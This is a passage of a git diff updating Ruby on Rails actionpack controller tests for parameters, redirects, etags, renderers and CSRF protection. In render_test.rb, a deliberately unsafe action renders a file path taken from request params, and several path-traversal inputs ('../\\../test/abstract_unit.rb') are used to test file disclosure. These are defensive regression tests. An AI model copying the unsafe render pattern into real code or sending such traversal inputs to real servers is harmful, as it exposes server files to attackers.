collections" do + company = Class.new do + attr_reader :dupped + def dup; @dupped = true; end + end.new + + params = ActionController::Parameters.new(prem: { likes: %i( dancing ) }) + assert_equal({ 'prem' => { 'likes' => %i( dancing ) } }, params.to_unsafe_h) + + params = ActionController::Parameters.new(companies: [ company, :acme ]) + assert_equal({ 'companies' => [ company, :acme ] }, params.to_unsafe_h) + assert_not company.dupped + end + + test "include? returns true when the key is present" do + assert @params.include? :person + assert @params.include? 'person' + assert_not @params.include? :gorilla + end + + test "scalar values should be filtered when array or hash is specified" do + params = ActionController::Parameters.new(foo: "bar") + + assert params.permit(:foo).has_key?(:foo) + refute params.permit(foo: []).has_key?(:foo) + refute params.permit(foo: [:bar]).has_key?(:foo) + refute params.permit(foo: :bar).has_key?(:foo) end end diff --git a/actionpack/test/controller/params_wrapper_test.rb b/actionpack/test/controller/params_wrapper_test.rb index 8bf016d060..7226beed26 100644 --- a/actionpack/test/controller/params_wrapper_test.rb +++ b/actionpack/test/controller/params_wrapper_test.rb @@ -28,8 +28,17 @@ class ParamsWrapperTest < ActionController::TestCase end end - class User; end - class Person; end + class User + def self.attribute_names + [] + end + end + + class Person + def self.attribute_names + [] + end + end tests UsersController @@ -155,33 +164,28 @@ class ParamsWrapperTest < ActionController::TestCase end def test_derived_wrapped_keys_from_matching_model - User.expects(:respond_to?).with(:attribute_names).returns(true) - User.expects(:attribute_names).twice.returns(["username"]) - - with_default_wrapper_options do - @request.env['CONTENT_TYPE'] = 'application/json' - post :parse, params: { 'username' => 'sikachu', 'title' => 'Developer' } - assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'username' => 'sikachu' }}) + assert_called(User, :attribute_names, times: 2, returns: ["username"]) do + with_default_wrapper_options do + @request.env['CONTENT_TYPE'] = 'application/json' + post :parse, params: { 'username' => 'sikachu', 'title' => 'Developer' } + assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'username' => 'sikachu' }}) + end end end def test_derived_wrapped_keys_from_specified_model with_default_wrapper_options do - Person.expects(:respond_to?).with(:attribute_names).returns(true) - Person.expects(:attribute_names).twice.returns(["username"]) + assert_called(Person, :attribute_names, times: 2, returns: ["username"]) do + UsersController.wrap_parameters Person - UsersController.wrap_parameters Person - - @request.env['CONTENT_TYPE'] = 'application/json' - post :parse, params: { 'username' => 'sikachu', 'title' => 'Developer' } - assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'person' => { 'username' => 'sikachu' }}) + @request.env['CONTENT_TYPE'] = 'application/json' + post :parse, params: { 'username' => 'sikachu', 'title' => 'Developer' } + assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'person' => { 'username' => 'sikachu' }}) + end end end def test_not_wrapping_abstract_model - User.expects(:respond_to?).with(:attribute_names).returns(true) - User.expects(:attribute_names).returns([]) - with_default_wrapper_options do @request.env['CONTENT_TYPE'] = 'application/json' post :parse, params: { 'username' => 'sikachu', 'title' => 'Developer' } diff --git a/actionpack/test/controller/permitted_params_test.rb b/actionpack/test/controller/permitted_params_test.rb index 7136fafae5..7c753a45a5 100644 --- a/actionpack/test/controller/permitted_params_test.rb +++ b/actionpack/test/controller/permitted_params_test.rb @@ -2,11 +2,11 @@ require 'abstract_unit' class PeopleController < ActionController::Base def create - render text: params[:person].permitted? ? "permitted" : "forbidden" + render plain: params[:person].permitted? ? "permitted" : "forbidden" end def create_with_permit - render text: params[:person].permit(:name).permitted? ? "permitted" : "forbidden" + render plain: params[:person].permit(:name).permitted? ? "permitted" : "forbidden" end end diff --git a/actionpack/test/controller/redirect_test.rb b/actionpack/test/controller/redirect_test.rb index 103ca9c776..f83248402c 100644 --- a/actionpack/test/controller/redirect_test.rb +++ b/actionpack/test/controller/redirect_test.rb @@ -1,13 +1,10 @@ require 'abstract_unit' -class WorkshopsController < ActionController::Base -end - class RedirectController < ActionController::Base # empty method not used anywhere to ensure methods like # `status` and `location` aren't called on `redirect_to` calls - def status; render :text => 'called status'; end - def location; render :text => 'called location'; end + def status; render plain: 'called status'; end + def location; render plain: 'called location'; end def simple_redirect redirect_to :action => "hello_world" @@ -45,6 +42,10 @@ class RedirectController < ActionController::Base redirect_to :back, :status => 307 end + def redirect_back_with_status + redirect_back(fallback_location: "/things/stuff", status: 307) + end + def host_redirect redirect_to :action => "other_host", :only_path => false, :host => 'other.test.host' end @@ -53,17 +54,12 @@ class RedirectController < ActionController::Base redirect_to :controller => 'module_test/module_redirect', :action => "hello_world" end - def redirect_with_assigns - @hello = "world" - redirect_to :action => "hello_world" - end - def redirect_to_url redirect_to "http://www.rubyonrails.org/" end def redirect_to_url_with_unescaped_query_string - redirect_to "http://dev.rubyonrails.org/query?status=new" + redirect_to "http://example.com/query?status=new" end def redirect_to_url_with_complex_scheme @@ -180,7 +176,6 @@ class RedirectTest < ActionController::TestCase assert_equal "http://www.example.com", redirect_to_url end - def test_relative_url_redirect_with_status get :relative_url_redirect_with_status assert_response 302 @@ -195,7 +190,11 @@ class RedirectTest < ActionController::TestCase def test_redirect_to_back_with_status @request.env["HTTP_REFERER"] = "http://www.example.com/coming/from" - get :redirect_to_back_with_status + + assert_deprecated do + get :redirect_to_back_with_status + end + assert_response 307 assert_equal "http://www.example.com/coming/from", redirect_to_url end @@ -218,12 +217,6 @@ class RedirectTest < ActionController::TestCase assert_redirected_to :controller => 'module_test/module_redirect', :action => 'hello_world' end - def test_redirect_with_assigns - get :redirect_with_assigns - assert_response :redirect - assert_equal "world", assigns["hello"] - end - def test_redirect_to_url get :redirect_to_url assert_response :redirect @@ -233,7 +226,7 @@ class RedirectTest < ActionController::TestCase def test_redirect_to_url_with_unescaped_query_string get :redirect_to_url_with_unescaped_query_string assert_response :redirect - assert_redirected_to "http://dev.rubyonrails.org/query?status=new" + assert_redirected_to "http://example.com/query?status=new" end def test_redirect_to_url_with_complex_scheme @@ -250,7 +243,11 @@ class RedirectTest < ActionController::TestCase def test_redirect_to_back @request.env["HTTP_REFERER"] = "http://www.example.com/coming/from" - get :redirect_to_back + + assert_deprecated do + get :redirect_to_back + end + assert_response :redirect assert_equal "http://www.example.com/coming/from", redirect_to_url end @@ -258,15 +255,40 @@ class RedirectTest < ActionController::TestCase def test_redirect_to_back_with_no_referer assert_raise(ActionController::RedirectBackError) { @request.env["HTTP_REFERER"] = nil + + assert_deprecated do + get :redirect_to_back + end + get :redirect_to_back } end + def test_redirect_back + referer = "http://www.example.com/coming/from" + @request.env["HTTP_REFERER"] = referer + + get :redirect_back_with_status + + assert_response 307 + assert_equal referer, redirect_to_url + end + + def test_redirect_back_with_no_referer + get :redirect_back_with_status + + assert_response 307 + assert_equal "http://test.host/things/stuff", redirect_to_url + end + def test_redirect_to_record with_routing do |set| set.draw do resources :workshops - get ':controller/:action' + + ActiveSupport::Deprecation.silence do + get ':controller/:action' + end end get :redirect_to_existing_record @@ -280,15 +302,17 @@ class RedirectTest < ActionController::TestCase end def test_redirect_to_nil - assert_raise(ActionController::ActionControllerError) do + error = assert_raise(ActionController::ActionControllerError) do get :redirect_to_nil end + assert_equal "Cannot redirect to nil!", error.message end def test_redirect_to_params - assert_raise(ActionController::ActionControllerError) do + error = assert_raise(ArgumentError) do get :redirect_to_params end + assert_equal ActionDispatch::Routing::INSECURE_URL_PARAMETERS_MESSAGE, error.message end def test_redirect_to_with_block @@ -306,7 +330,9 @@ class RedirectTest < ActionController::TestCase def test_redirect_to_with_block_and_accepted_options with_routing do |set| set.draw do - get ':controller/:action' + ActiveSupport::Deprecation.silence do + get ':controller/:action' + end end get :redirect_to_with_block_and_options diff --git a/actionpack/test/controller/render_json_test.rb b/actionpack/test/controller/render_json_test.rb index b1ad16bc55..3773900cc4 100644 --- a/actionpack/test/controller/render_json_test.rb +++ b/actionpack/test/controller/render_json_test.rb @@ -28,7 +28,7 @@ class RenderJsonTest < ActionController::TestCase end def render_json_render_to_string - render :text => render_to_string(:json => '[]') + render plain: render_to_string(json: '[]') end def render_json_hello_world diff --git a/actionpack/test/controller/render_other_test.rb b/actionpack/test/controller/render_other_test.rb deleted file mode 100644 index af50e11261..0000000000 --- a/actionpack/test/controller/render_other_test.rb +++ /dev/null @@ -1,24 +0,0 @@ -require 'abstract_unit' - - -class RenderOtherTest < ActionController::TestCase - class TestController < ActionController::Base - def render_simon_says - render :simon => "foo" - end - end - - tests TestController - - def test_using_custom_render_option - ActionController.add_renderer :simon do |says, options| - self.content_type = Mime::TEXT - self.response_body = "Simon says: #{says}" - end - - get :render_simon_says - assert_equal "Simon says: foo", @response.body - ensure - ActionController.remove_renderer :simon - end -end diff --git a/actionpack/test/controller/render_test.rb b/actionpack/test/controller/render_test.rb index 79e2104789..f42efd35af 100644 --- a/actionpack/test/controller/render_test.rb +++ b/actionpack/test/controller/render_test.rb @@ -1,6 +1,5 @@ require 'abstract_unit' require 'controller/fake_models' -require 'pathname' class TestControllerWithExtraEtags < ActionController::Base etag { nil } @@ -10,20 +9,32 @@ class TestControllerWithExtraEtags < ActionController::Base etag { nil } def fresh - render text: "stale" if stale?(etag: '123', template: false) + render plain: "stale" if stale?(etag: '123', template: false) end def array - render text: "stale" if stale?(etag: %w(1 2 3), template: false) + render plain: "stale" if stale?(etag: %w(1 2 3), template: false) + end + + def strong + render plain: "stale" if stale?(strong_etag: 'strong') end def with_template if stale? template: 'test/hello_world' - render text: 'stale' + render plain: 'stale' end end end +class ImplicitRenderTestController < ActionController::Base + def empty_action + end + + def empty_action_with_template + end +end + class TestController < ActionController::Base protect_from_forgery @@ -58,6 +69,20 @@ class TestController < ActionController::Base end end + def dynamic_render + render params[:id] # => String, AC::Params + end + + def dynamic_render_permit + render params[:id].permit(:file) + end + + def dynamic_render_with_file + # This is extremely bad, but should be possible to do. + file = params[:id] # => String, AC::Params + render file: file + end + class Collection def initialize(records) @records = records @@ -120,6 +145,10 @@ class TestController < ActionController::Base render :action => 'hello_world' end + def respond_with_empty_body + render nothing: true + end + def conditional_hello_with_bangs render :action => 'hello_world' end @@ -129,6 +158,14 @@ class TestController < ActionController::Base fresh_when(:last_modified => Time.now.utc.beginning_of_day, :etag => [ :foo, 123 ]) end + def head_with_status_hash + head status: :created + end + + def head_with_hash_does_not_include_status + head warning: :deprecated + end + def head_created head :created end @@ -142,31 +179,31 @@ class TestController < ActionController::Base end def head_with_location_header - head :location => "/foo" + head :ok, :location => "/foo" end def head_with_location_object - head :location => Customer.new("david", 1) + head :ok, :location => Customer.new("david", 1) end def head_with_symbolic_status - head :status => params[:status].intern + head params[:status].intern end def head_with_integer_status - head :status => params[:status].to_i + head params[:status].to_i end def head_with_string_status - head :status => params[:status] + head params[:status] end def head_with_custom_header - head :x_custom_header => "something" + head :ok, :x_custom_header => "something" end def head_with_www_authenticate_header - head 'WWW-Authenticate' => 'something' + head :ok, 'WWW-Authenticate' => 'something' end def head_with_status_code_first @@ -218,8 +255,6 @@ class MetalTestController < ActionController::Metal include AbstractController::Rendering include ActionView::Rendering include ActionController::Rendering - include ActionController::RackDelegation - def accessing_logger_in_template render :inline => "<%= logger.class %>" @@ -229,6 +264,52 @@ end class ExpiresInRenderTest < ActionController::TestCase tests TestController + def setup + super + ActionController::Base.view_paths.paths.each(&:clear_cache) + end + + def test_dynamic_render_with_file + # This is extremely bad, but should be possible to do. + assert File.exist?(File.join(File.dirname(__FILE__), '../../test/abstract_unit.rb')) + response = get :dynamic_render_with_file, params: { id: '../\\../test/abstract_unit.rb' } + assert_equal File.read(File.join(File.dirname(__FILE__), '../../test/abstract_unit.rb')), + response.body + end + + def test_dynamic_render_with_absolute_path + file = Tempfile.new('name') + file.write "secrets!" + file.flush + assert_raises ActionView::MissingTemplate do + get :dynamic_render, params: { id: file.path } + end + ensure + file.close + file.unlink + end + + def test_dynamic_render + assert File.exist?(File.join(File.dirname(__FILE__), '../../test/abstract_unit.rb')) + assert_raises ActionView::MissingTemplate do + get :dynamic_render, params: { id: '../\\../test/abstract_unit.rb' } + end + end + + def test_permitted_dynamic_render_file_hash + skip "FIXME: this test passes on 4-2-stable but not master. Why?" + assert File.exist?(File.join(File.dirname(__FILE__), '../../test/abstract_unit.rb')) + response = get :dynamic_render_permit, params: { id: { file: '../\\../test/abstract_unit.rb' } } + assert_equal File.read(File.join(File.dirname(__FILE__), '../../test/abstract_unit.rb')), + response.body + end + + def test_dynamic_render_file_hash + assert_raises ArgumentError do + get :dynamic_render, params: { id: { file: '../\\../test/abstract_unit.rb' } } + end + end + def test_expires_in_header get :conditional_hello_with_expires_in assert_equal "max-age=60, private", @response.headers["Cache-Control"] @@ -270,11 +351,18 @@ class ExpiresInRenderTest < ActionController::TestCase assert_match(/no-transform/, @response.headers["Cache-Control"]) end + def test_render_nothing_deprecated + assert_deprecated do + get :respond_with_empty_body + end + end + def test_date_header_when_expires_in time = Time.mktime(2011,10,30) - Time.stubs(:now).returns(time) - get :conditional_hello_with_expires_in - assert_equal Time.now.httpdate, @response.headers["Date"] + Time.stub :now, time do + get :conditional_hello_with_expires_in + assert_equal Time.now.httpdate, @response.headers["Date"] + end end end @@ -301,7 +389,7 @@ class LastModifiedRenderTest < ActionController::TestCase def test_request_not_modified_but_etag_differs @request.if_modified_since = @last_modified - @request.if_none_match = "234" + @request.if_none_match = '"234"' get :conditional_hello assert_response :success end @@ -330,7 +418,7 @@ class LastModifiedRenderTest < ActionController::TestCase def test_request_not_modified_but_etag_differs_with_record @request.if_modified_since = @last_modified - @request.if_none_match = "234" + @request.if_none_match = '"234"' get :conditional_hello_with_record assert_response :success end @@ -358,7 +446,7 @@ class LastModifiedRenderTest < ActionController::TestCase def test_request_not_modified_but_etag_differs_with_collection_of_records @request.if_modified_since = @last_modified - @request.if_none_match = "234" + @request.if_none_match = '"234"' get :conditional_hello_with_collection_of_records assert_response :success end @@ -393,8 +481,26 @@ end class EtagRenderTest < ActionController::TestCase tests TestControllerWithExtraEtags + def test_strong_etag + @request.if_none_match = strong_etag(['strong', 'ab', :cde, [:f]]) + get :strong + assert_response :not_modified + + @request.if_none_match = '*' + get :strong + assert_response :not_modified + + @request.if_none_match = '"strong"' + get :strong + assert_response :ok + + @request.if_none_match = weak_etag(['strong', 'ab', :cde, [:f]]) + get :strong + assert_response :ok + end + def test_multiple_etags - @request.if_none_match = etag(["123", 'ab', :cde, [:f]]) + @request.if_none_match = weak_etag(["123", 'ab', :cde, [:f]]) get :fresh assert_response :not_modified @@ -404,7 +510,7 @@ class EtagRenderTest < ActionController::TestCase end def test_array - @request.if_none_match = etag([%w(1 2 3), 'ab', :cde, [:f]]) + @request.if_none_match = weak_etag([%w(1 2 3), 'ab', :cde, [:f]]) get :array assert_response :not_modified @@ -428,7 +534,7 @@ class EtagRenderTest < ActionController::TestCase begin File.write path, 'foo' - ActionView::Digestor.cache.clear + ActionView::LookupContext::DetailsKey.clear request.if_none_match = etag get :with_template @@ -439,9 +545,14 @@ class EtagRenderTest < ActionController::TestCase end end - def etag(record) - Digest::MD5.hexdigest(ActiveSupport::Cache.expand_cache_key(record)).inspect - end + private + def weak_etag(record) + "W/#{strong_etag record}" + end + + def strong_etag(record) + %("#{Digest::MD5.hexdigest(ActiveSupport::Cache.expand_cache_key(record))}") + end end class MetalRenderTest < ActionController::TestCase @@ -453,6 +564,33 @@ class MetalRenderTest < ActionController::TestCase end end +class ImplicitRenderTest < ActionController::TestCase + tests ImplicitRenderTestController + + def test_implicit_no_content_response_as_browser + assert_raises(ActionController::UnknownFormat) do + get :empty_action + end + end + + def test_implicit_no_content_response_as_xhr + get :empty_action, xhr: true + assert_response :no_content + end + + def test_implicit_success_response_with_right_format + get :empty_action_with_template + assert_equal "<h1>Empty action rendered this implicitly.</h1>\n", @response.body + assert_response :success + end + + def test_implicit_unknown_format_response + assert_raises(ActionController::UnknownFormat) do + get :empty_action_with_template, format: 'json' + end + end +end + class HeadRenderTest < ActionController::TestCase tests TestController @@ -466,6 +604,19 @@ class HeadRenderTest < ActionController::TestCase assert_response :created end + def test_passing_hash_to_head_as_first_parameter_deprecated + assert_deprecated do + get :head_with_status_hash + end + end + + def test_head_with_default_value_is_deprecated + assert_deprecated do + get :head_with_hash_does_not_include_status + assert_response :ok + end + end + def test_head_created_with_application_json_content_type post :head_created_with_application_json_content_type assert @response.body.blank? @@ -491,7 +642,10 @@ class HeadRenderTest < ActionController::TestCase with_routing do |set| set.draw do resources :customers - get ':controller/:action' + + ActiveSupport::Deprecation.silence do + get ':controller/:action' + end end get :head_with_location_object @@ -576,8 +730,8 @@ end class HttpCacheForeverTest < ActionController::TestCase class HttpCacheForeverController < ActionController::Base def cache_me_forever - http_cache_forever(public: params[:public], version: params[:version] || 'v1') do - render text: 'hello' + http_cache_forever(public: params[:public]) do + render plain: 'hello' end end end @@ -586,20 +740,24 @@ class HttpCacheForeverTest < ActionController::TestCase def test_cache_with_public get :cache_me_forever, params: {public: true} - assert_equal "max-age=#{100.years.to_i}, public", @response.headers["Cache-Control"] + assert_response :ok + assert_equal "max-age=#{100.years}, public", @response.headers["Cache-Control"] assert_not_nil @response.etag + assert @response.weak_etag? end def test_cache_with_private get :cache_me_forever - assert_equal "max-age=#{100.years.to_i}, private", @response.headers["Cache-Control"] + assert_response :ok + assert_equal "max-age=#{100.years}, private", @response.headers["Cache-Control"] assert_not_nil @response.etag - assert_response :success + assert @response.weak_etag? end def test_cache_response_code_with_if_modified_since get :cache_me_forever - assert_response :success + assert_response :ok + @request.if_modified_since = @response.headers['Last-Modified'] get :cache_me_forever assert_response :not_modified @@ -607,21 +765,10 @@ class HttpCacheForeverTest < ActionController::TestCase def test_cache_response_code_with_etag get :cache_me_forever - assert_response :success - @request.if_modified_since = @response.headers['Last-Modified'] - @request.if_none_match = @response.etag - - get :cache_me_forever - assert_response :not_modified - @request.if_modified_since = @response.headers['Last-Modified'] - @request.if_none_match = @response.etag + assert_response :ok - get :cache_me_forever, params: {version: 'v2'} - assert_response :success - @request.if_modified_since = @response.headers['Last-Modified'] @request.if_none_match = @response.etag - - get :cache_me_forever, params: {version: 'v2'} + get :cache_me_forever assert_response :not_modified end end diff --git a/actionpack/test/controller/render_xml_test.rb b/actionpack/test/controller/render_xml_test.rb index 7a91577b17..137236c496 100644 --- a/actionpack/test/controller/render_xml_test.rb +++ b/actionpack/test/controller/render_xml_test.rb @@ -72,7 +72,10 @@ class RenderXmlTest < ActionController::TestCase with_routing do |set| set.draw do resources :customers - get ':controller/:action' + + ActiveSupport::Deprecation.silence do + get ':controller/:action' + end end get :render_with_object_location @@ -92,6 +95,6 @@ class RenderXmlTest < ActionController::TestCase def test_should_use_implicit_content_type get :implicit_content_type, format: 'atom' - assert_equal Mime::ATOM, @response.content_type + assert_equal Mime[:atom], @response.content_type end end diff --git a/actionpack/test/controller/renderer_test.rb b/actionpack/test/controller/renderer_test.rb index b55a25430b..372c09bc23 100644 --- a/actionpack/test/controller/renderer_test.rb +++ b/actionpack/test/controller/renderer_test.rb @@ -1,6 +1,10 @@ require 'abstract_unit' class RendererTest < ActiveSupport::TestCase + test 'action controller base has a renderer' do + assert ActionController::Base.renderer + end + test 'creating with a controller' do controller = CommentsController renderer = ActionController::Renderer.for controller @@ -57,8 +61,7 @@ class RendererTest < ActiveSupport::TestCase end test 'rendering with defaults' do - renderer = ApplicationController.renderer - renderer.defaults[:https] = true + renderer = ApplicationController.renderer.new https: true content = renderer.render inline: '<%= request.ssl? %>' assert_equal 'true', content @@ -67,8 +70,8 @@ class RendererTest < ActiveSupport::TestCase test 'same defaults from the same controller' do renderer_defaults = ->(controller) { controller.renderer.defaults } - assert renderer_defaults[AccountsController].equal? renderer_defaults[AccountsController] - assert_not renderer_defaults[AccountsController].equal? renderer_defaults[CommentsController] + assert_equal renderer_defaults[AccountsController], renderer_defaults[AccountsController] + assert_equal renderer_defaults[AccountsController], renderer_defaults[CommentsController] end test 'rendering with different formats' do @@ -83,17 +86,13 @@ class RendererTest < ActiveSupport::TestCase test 'rendering with helpers' do assert_equal "<p>1\n<br />2</p>", render[inline: '<%= simple_format "1\n2" %>'] end - - test 'rendering from inherited renderer' do - inherited = Class.new ApplicationController.renderer do - defaults[:script_name] = 'script' - def render(options) - super options.merge(locals: { param: :value }) - end - end - template = '<%= url_for controller: :foo, action: :bar, param: param %>' - assert_equal 'script/foo/bar?param=value', inherited.render(inline: template) + test 'rendering with user specified defaults' do + ApplicationController.renderer.defaults.merge!({ hello: 'hello', https: true }) + renderer = ApplicationController.renderer.new + content = renderer.render inline: '<%= request.ssl? %>' + + assert_equal 'true', content end private diff --git a/actionpack/test/controller/renderers_test.rb b/actionpack/test/controller/renderers_test.rb new file mode 100644 index 0000000000..e6c2e4636e --- /dev/null +++ b/actionpack/test/controller/renderers_test.rb @@ -0,0 +1,90 @@ +require 'abstract_unit' +require 'controller/fake_models' +require 'active_support/logger' + +class RenderersTest < ActionController::TestCase + class XmlRenderable + def to_xml(options) + options[:root] ||= "i-am-xml" + "<#{options[:root]}/>" + end + end + class JsonRenderable + def as_json(options={}) + hash = { :a => :b, :c => :d, :e => :f } + hash.except!(*options[:except]) if options[:except] + hash + end + + def to_json(options = {}) + super :except => [:c, :e] + end + end + class CsvRenderable + def to_csv + "c,s,v" + end + end + class TestController < ActionController::Base + + def render_simon_says + render :simon => "foo" + end + + def respond_to_mime + respond_to do |type| + type.json do + render json: JsonRenderable.new + end + type.js { render json: 'JS', callback: 'alert' } + type.csv { render csv: CsvRenderable.new } + type.xml { render xml: XmlRenderable.new } + type.html { render body: "HTML" } + type.rss { render body: "RSS" } + type.all { render body: "Nothing" } + type.any(:js, :xml) { render body: "Either JS or XML" } + end + end + end + + tests TestController + + def setup + # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get + # a more accurate simulation of what happens in "real life". + super + @controller.logger = ActiveSupport::Logger.new(nil) + end + + def test_using_custom_render_option + ActionController.add_renderer :simon do |says, options| + self.content_type = Mime[:text] + self.response_body = "Simon says: #{says}" + end + + get :render_simon_says + assert_equal "Simon says: foo", @response.body + ensure + ActionController.remove_renderer :simon + end + + def test_raises_missing_template_no_renderer + assert_raise ActionView::MissingTemplate do + get :respond_to_mime, format: 'csv' + end + assert_equal Mime[:csv], @response.content_type + assert_equal "", @response.body + end + + def test_adding_csv_rendering_via_renderers_add + ActionController::Renderers.add :csv do |value, options| + send_data value.to_csv, type: Mime[:csv] + end + @request.accept = "text/csv" + get :respond_to_mime, format: 'csv' + assert_equal Mime[:csv], @response.content_type + assert_equal "c,s,v", @response.body + ensure + ActionController::Renderers.remove :csv + end +end diff --git a/actionpack/test/controller/request/test_request_test.rb b/actionpack/test/controller/request/test_request_test.rb index 77a2f68b1c..e5d698d5c2 100644 --- a/actionpack/test/controller/request/test_request_test.rb +++ b/actionpack/test/controller/request/test_request_test.rb @@ -1,11 +1,7 @@ require 'abstract_unit' require 'stringio' -class ActionController::TestRequestTest < ActiveSupport::TestCase - - def setup - @request = ActionController::TestRequest.new - end +class ActionController::TestRequestTest < ActionController::TestCase def test_test_request_has_session_options_initialized assert @request.session_options diff --git a/actionpack/test/controller/request_forgery_protection_test.rb b/actionpack/test/controller/request_forgery_protection_test.rb index 8887f291cf..d56241f9cd 100644 --- a/actionpack/test/controller/request_forgery_protection_test.rb +++ b/actionpack/test/controller/request_forgery_protection_test.rb @@ -1,5 +1,4 @@ require 'abstract_unit' -require 'digest/sha1' require "active_support/log_subscriber/test_helper" # common controller actions @@ -12,30 +11,14 @@ module RequestForgeryProtectionActions render :inline => "<%= button_to('New', '/') %>" end - def external_form - render :inline => "<%= form_tag('http://farfar.away/form', :authenticity_token => 'external_token') {} %>" - end - - def external_form_without_protection - render :inline => "<%= form_tag('http://farfar.away/form', :authenticity_token => false) {} %>" - end - def unsafe - render :text => 'pwn' + render plain: 'pwn' end def meta render :inline => "<%= csrf_meta_tags %>" end - def external_form_for - render :inline => "<%= form_for(:some_resource, :authenticity_token => 'external_token') {} %>" - end - - def form_for_without_protection - render :inline => "<%= form_for(:some_resource, :authenticity_token => false ) {} %>" - end - def form_for_remote render :inline => "<%= form_for(:some_resource, :remote => true ) {} %>" end @@ -70,7 +53,6 @@ module RequestForgeryProtectionActions negotiate_same_origin end - def rescue_action(e) raise e end end # sample controllers @@ -89,17 +71,17 @@ class RequestForgeryProtectionControllerUsingNullSession < ActionController::Bas def signed cookies.signed[:foo] = 'bar' - render :nothing => true + head :ok end def encrypted cookies.encrypted[:foo] = 'bar' - render :nothing => true + head :ok end def try_to_reset_session reset_session - render :nothing => true + head :ok end end @@ -146,13 +128,31 @@ class CustomAuthenticityParamController < RequestForgeryProtectionControllerUsin end end +class PerFormTokensController < ActionController::Base + protect_from_forgery :with => :exception + self.per_form_csrf_tokens = true + + def index + render inline: "<%= form_tag (params[:form_path] || '/per_form_tokens/post_one'), method: params[:form_method] %>" + end + + def button_to + render inline: "<%= button_to 'Button', (params[:form_path] || '/per_form_tokens/post_one'), method: params[:form_method] %>" + end + + def post_one + render plain: '' + end + + def post_two + render plain: '' + end +end + # common test methods module RequestForgeryProtectionTests def setup - @token = "cf50faa3fe97702ca1ae" - @controller.stubs(:form_authenticity_token).returns(@token) - @controller.stubs(:valid_authenticity_token?).with{ |_, t| t == @token }.returns(true) - @controller.stubs(:valid_authenticity_token?).with{ |_, t| t != @token }.returns(false) + @token = Base64.strict_encode64('railstestrailstestrailstestrails') @old_request_forgery_protection_token = ActionController::Base.request_forgery_protection_token ActionController::Base.request_forgery_protection_token = :custom_authenticity_token end @@ -162,17 +162,21 @@ module RequestForgeryProtectionTests end def test_should_render_form_with_token_tag - assert_not_blocked do - get :index + @controller.stub :form_authenticity_token, @token do + assert_not_blocked do + get :index + end + assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', @token end - assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', @token end def test_should_render_button_to_with_token_tag - assert_not_blocked do - get :show_button + @controller.stub :form_authenticity_token, @token do + assert_not_blocked do + get :show_button + end + assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', @token end - assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', @token end def test_should_render_form_without_token_tag_if_remote @@ -216,17 +220,21 @@ module RequestForgeryProtectionTests end def test_should_render_form_with_token_tag_if_remote_and_authenticity_token_requested - assert_not_blocked do - get :form_for_remote_with_token + @controller.stub :form_authenticity_token, @token do + assert_not_blocked do + get :form_for_remote_with_token + end + assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', @token end - assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', @token end def test_should_render_form_with_token_tag_with_authenticity_token_requested - assert_not_blocked do - get :form_for_with_token + @controller.stub :form_authenticity_token, @token do + assert_not_blocked do + get :form_for_with_token + end + assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', @token end - assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', @token end def test_should_allow_get @@ -266,41 +274,92 @@ module RequestForgeryProtectionTests end def test_should_allow_post_with_token - assert_not_blocked { post :index, params: { custom_authenticity_token: @token } } + session[:_csrf_token] = @token + @controller.stub :form_authenticity_token, @token do + assert_not_blocked { post :index, params: { custom_authenticity_token: @token } } + end end def test_should_allow_patch_with_token - assert_not_blocked { patch :index, params: { custom_authenticity_token: @token } } + session[:_csrf_token] = @token + @controller.stub :form_authenticity_token, @token do + assert_not_blocked { patch :index, params: { custom_authenticity_token: @token } } + end end def test_should_allow_put_with_token - assert_not_blocked { put :index, params: { custom_authenticity_token: @token } } + session[:_csrf_token] = @token + @controller.stub :form_authenticity_token, @token do + assert_not_blocked { put :index, params: { custom_authenticity_token: @token } } + end end def test_should_allow_delete_with_token - assert_not_blocked { delete :index, params: { custom_authenticity_token: @token } } + session[:_csrf_token] = @token + @controller.stub :form_authenticity_token, @token do + assert_not_blocked { delete :index, params: { custom_authenticity_token: @token } } + end end def test_should_allow_post_with_token_in_header + session[:_csrf_token] = @token @request.env['HTTP_X_CSRF_TOKEN'] = @token assert_not_blocked { post :index } end def test_should_allow_delete_with_token_in_header + session[:_csrf_token] = @token @request.env['HTTP_X_CSRF_TOKEN'] = @token assert_not_blocked { delete :index } end def test_should_allow_patch_with_token_in_header + session[:_csrf_token] = @token @request.env['HTTP_X_CSRF_TOKEN'] = @token assert_not_blocked { patch :index } end def test_should_allow_put_with_token_in_header + session[:_csrf_token] = @token @request.env['HTTP_X_CSRF_TOKEN'] = @token assert_not_blocked { put :index } end + def test_should_allow_post_with_origin_checking_and_correct_origin + forgery_protection_origin_check do + session[:_csrf_token] = @token + @controller.stub :form_authenticity_token, @token do + assert_not_blocked do + @request.set_header 'HTTP_ORIGIN', 'http://test.host' + post :index, params: { custom_authenticity_token: @token } + end + end + end + end + + def test_should_allow_post_with_origin_checking_and_no_origin + forgery_protection_origin_check do + session[:_csrf_token] = @token + @controller.stub :form_authenticity_token, @token do + assert_not_blocked do + post :index, params: { custom_authenticity_token: @token } + end + end + end + end + + def test_should_block_post_with_origin_checking_and_wrong_origin + forgery_protection_origin_check do + session[:_csrf_token] = @token + @controller.stub :form_authenticity_token, @token do + assert_blocked do + @request.set_header 'HTTP_ORIGIN', 'http://bad.host' + post :index, params: { custom_authenticity_token: @token } + end + end + end + end + def test_should_warn_on_missing_csrf_token old_logger = ActionController::Base.logger logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new @@ -350,6 +409,7 @@ module RequestForgeryProtectionTests # Allow non-GET requests since GET is all a remote <script> tag can muster. def test_should_allow_non_get_js_without_xhr_header + session[:_csrf_token] = @token assert_cross_origin_not_blocked { post :same_origin_js, params: { custom_authenticity_token: @token } } assert_cross_origin_not_blocked { post :same_origin_js, params: { format: 'js', custom_authenticity_token: @token } } assert_cross_origin_not_blocked do @@ -375,7 +435,6 @@ module RequestForgeryProtectionTests end def 